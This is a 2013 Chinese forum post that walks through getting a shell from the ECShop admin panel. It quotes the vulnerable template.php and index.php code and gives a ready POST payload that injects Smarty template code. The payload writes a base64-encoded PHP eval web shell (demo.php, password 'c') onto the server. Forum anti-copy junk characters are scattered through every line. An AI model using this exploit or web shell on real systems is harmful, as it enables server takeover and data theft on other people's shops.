找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2570|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
, ?: |& j8 [7 x- r, \' p- s7 `$ z0 x& c& c+ e; W
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
) n# @; W- A5 M$ f  K但是ecshop似乎不支持{php}{/php}这个标签来执行php代码' i6 c" ~, A& [9 q
admin/template.php
4 \7 a1 X: Q# x% [2 \( i1 N0 O& [0 e
1 if ($_REQUEST['act'] == 'update_library') 9 j* [! {- X) D' \! r6 L
5 e3 t; D' T8 _, P0 E( i# y2 ^
2   
5 M' V" `  c- Z1 x
5 Y* r# d5 l& H3 {
8 Q6 c3 E% A' O9 q5 W; y( D' G. p6 A9 r/ J; y+ X' n  a
4     check_authz_json('library_manage');
4 v& E% B! o+ O/ b# @0 p, L3 O/ ~4 D8 [' ?  ]  V8 l& C; E
5   
5 p5 \2 j. u3 Y/ f1 }
# d9 t4 `6 ~4 n5 U5 p" Z) e% }& g6     $html = stripslashes(json_str_iconv($_POST['html'])); ! @: [- C$ G  _% G1 s' ?

/ R& D$ }2 c# E- h+ y4 f, h$ F; v# C7   
) g; k8 L0 c: i0 c- u& B- G' e
& E1 l5 }4 O4 K  \: Y$ N) j0 d8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
4 ?5 F3 w' h: P8 Y5 X1 J
" n  ~! r& L9 ^9 E* s  u9   - _- T8 ]8 n7 C2 V8 J; Z
# ^' X* J* \. h
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
/ c8 o/ ^) u2 j
! W7 P3 f2 ^- D) j; A$ L/ l11     t4 X+ M* n1 B& D$ F! x4 O
: O6 f& [1 k+ b! M. x$ x
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
: D( R% `. }( L$ I. R. T5 \& R5 Y% ^2 d9 `" n* z# P% X
13   
/ g" o. l2 Q" b1 o% V  ~$ K
, H6 ^. `1 l# R! W/ i4 T' @# }14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 / o; c% D8 k' `! F( T4 V
- @5 u* l% m* [6 I) d" S7 q
15     {
4 L. P5 A# U% i5 {6 l
2 f9 w+ b0 X! w3 k  v- R16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
( f4 e3 d8 [$ D/ K1 _6 h, b& L- J4 u
17         make_json_result('', $_LANG['update_lib_success']);
0 q( S6 j2 n# O% @) r- c- o6 y: e; L7 q  n, p6 v
18     }
, a% m6 x$ P+ O1 E
# l% H- t+ f: x7 `) ]" t, |19     else
, {. W5 _( V/ l8 R4 B1 g" d( n- J3 M% k% I- O/ t# z
20     {
) t" X) x3 `. I+ I
0 Q! G3 N: J2 J% `* Q4 m8 n21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
- f& V; Y/ O6 o( q0 M6 X" f; e! g) B0 ~; d' B0 x
22     } 1 ^4 J2 v$ U( n5 w& v* F! T) i

7 d7 |/ g6 R8 a. h% F& A0 L23 } 2 f+ H2 p2 u: _8 }! y
7 A9 F! u1 K. a- E5 l' k' Y! x
那么找个比较方便调用了模板的文件) D% r! i( p7 J  v2 C. k7 F) g: ]
index.php
5 Y# V7 Z6 H2 k/ B- y4 c
& M' }6 V9 U2 Y3 |: L5 L4 \1 if ($act == 'cat_rec')
; [2 j8 [* M* R2 j2 r/ U/ W/ z4 E5 L0 w. ]$ X0 N$ i% |
2   
6 O6 d! M+ y$ B; D: h+ C
& h, N' @3 j$ M* A9 s( N0 j7 N3 { " U  B+ {0 B- ]5 F9 r  }% b
4 h) I% d. O7 l2 T. ]* E. V
4   , B. r) Y% h: n! y. ?, G% Z
1 B3 a: Y( C1 Q7 T
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
1 q/ E% k3 `' J- `3 {
; G$ I, s7 Y0 U# q9 w; B' y7 u6   / P8 z* c' R; F

' q& V' w5 j7 m8 k7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 9 w8 h4 I( p6 }/ K

$ x) w* M, p5 {" _# U0 f* U# k8 K; z8   
' r( K/ z9 |6 C; N  ]
% w6 Q% t; R1 t7 m: j2 B9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; * U3 ~/ B$ ~( ]( J
& q3 {5 E& \, `
10   
3 G' j5 v& Z( q: Z
1 m) @( n! l7 w( O: x7 ?$ A; b11     include_once('includes/cls_json.php');
' @' `! O) l8 Y' _" U- S7 k  R+ p! z+ n
12   
1 w# u1 m' S" o# U3 y; L
% x8 h4 U9 [3 m( t) U7 d13     $json = new JSON;
) o! X5 r) W, i, ?9 h& y9 L/ W( z0 ~, R& L8 S
14   
7 D8 b' H, k4 S% B4 j$ `
& ~0 K: |5 y! n+ B0 ?+ L% h15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); $ H- I& h$ ^/ f4 @

6 D0 U2 r( y) ]( J16   
7 D  N7 g0 A! x( ~4 z4 X+ D* ?3 ^+ E8 O1 A3 j
17     $children = get_children($cat_id);
0 n' b! n: H7 x5 a. e* w' @  b9 j. m2 x+ N: h: l: l. w
18   
6 H$ t% U0 m6 J+ R
! i6 Z! V4 b: {4 E! x7 S3 S19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
& H% F0 z- ?1 A" q5 T- Y0 O: C3 G) t9 [' a& F: Q! {4 A
20   , S9 k, a# L0 G* u

8 V4 ?7 ^: t. F21     $smarty->assign('cat_rec_sign', 1); , B) u- d3 O" j" C" a( l
+ o6 ^1 Z6 [0 L. i+ \
22   : d( V( r( @: M" n, A: S" B# ?5 O# k6 a

) }9 f& {: f! L23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
* K  Y/ C3 Q. X7 d+ W# C' W- c! Q
24   ! D* m& ~$ c# f$ `4 I5 K2 o

) C9 Y/ _/ }( b/ g25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
" S2 N2 N" V. @
! c5 O; |1 K5 }" y) b# S26   
: A& |3 ^! B- y+ D# {
4 m( u; C! u4 t) {27         echo $rec_array[$rec_type];
6 w& i" j+ T5 n5 [* ~1 d/ b: M+ M- ?2 L* q  \2 A, c! B" X# W3 {
28   
1 ^8 W: O: d% c1 j: A: P) U% t" u/ u( K% o: t6 d, z, }4 ]
29     die($json->encode($result));
# p7 c- d: q, @# [+ }9 i' h' a9 T2 B2 L+ q0 D4 E* K. u- N
30   
* U5 j0 T. c& }/ j
' |3 H; d/ g5 a# a31 } ! X* K3 A+ J7 }- l3 `# y
/ m" e  L9 Y* B0 t3 Y9 m7 E  ?
那么就有利用方法了. }! G+ o1 Z  p' c- J3 F
post包到http://localhost/ec/admin/template.php?act=update_library# x# S" _( u! q! h! G  F
Post内容:& r5 L. t# a  }  H
0 }2 X" Y7 o2 T# D
: [; Q! Q3 P4 R3 {
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 9 @: E+ h. P, l8 \9 i

3 U; l2 L7 r# E4 d% C然后访问http://localhost/ec/index.php?act=cat_rec7 {' X  q" K; `( Y) X! S

+ E2 M5 |4 l% Q* q! {, a/ wshel地址:http://localhost/ec/demo.php
$ Z7 J, s, `. e2 ?6 P* {密码c4 P" b: I: F7 J1 {3 n6 m, S3 n  a; e9 H
7 Y; ~; A! u+ l. V! c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表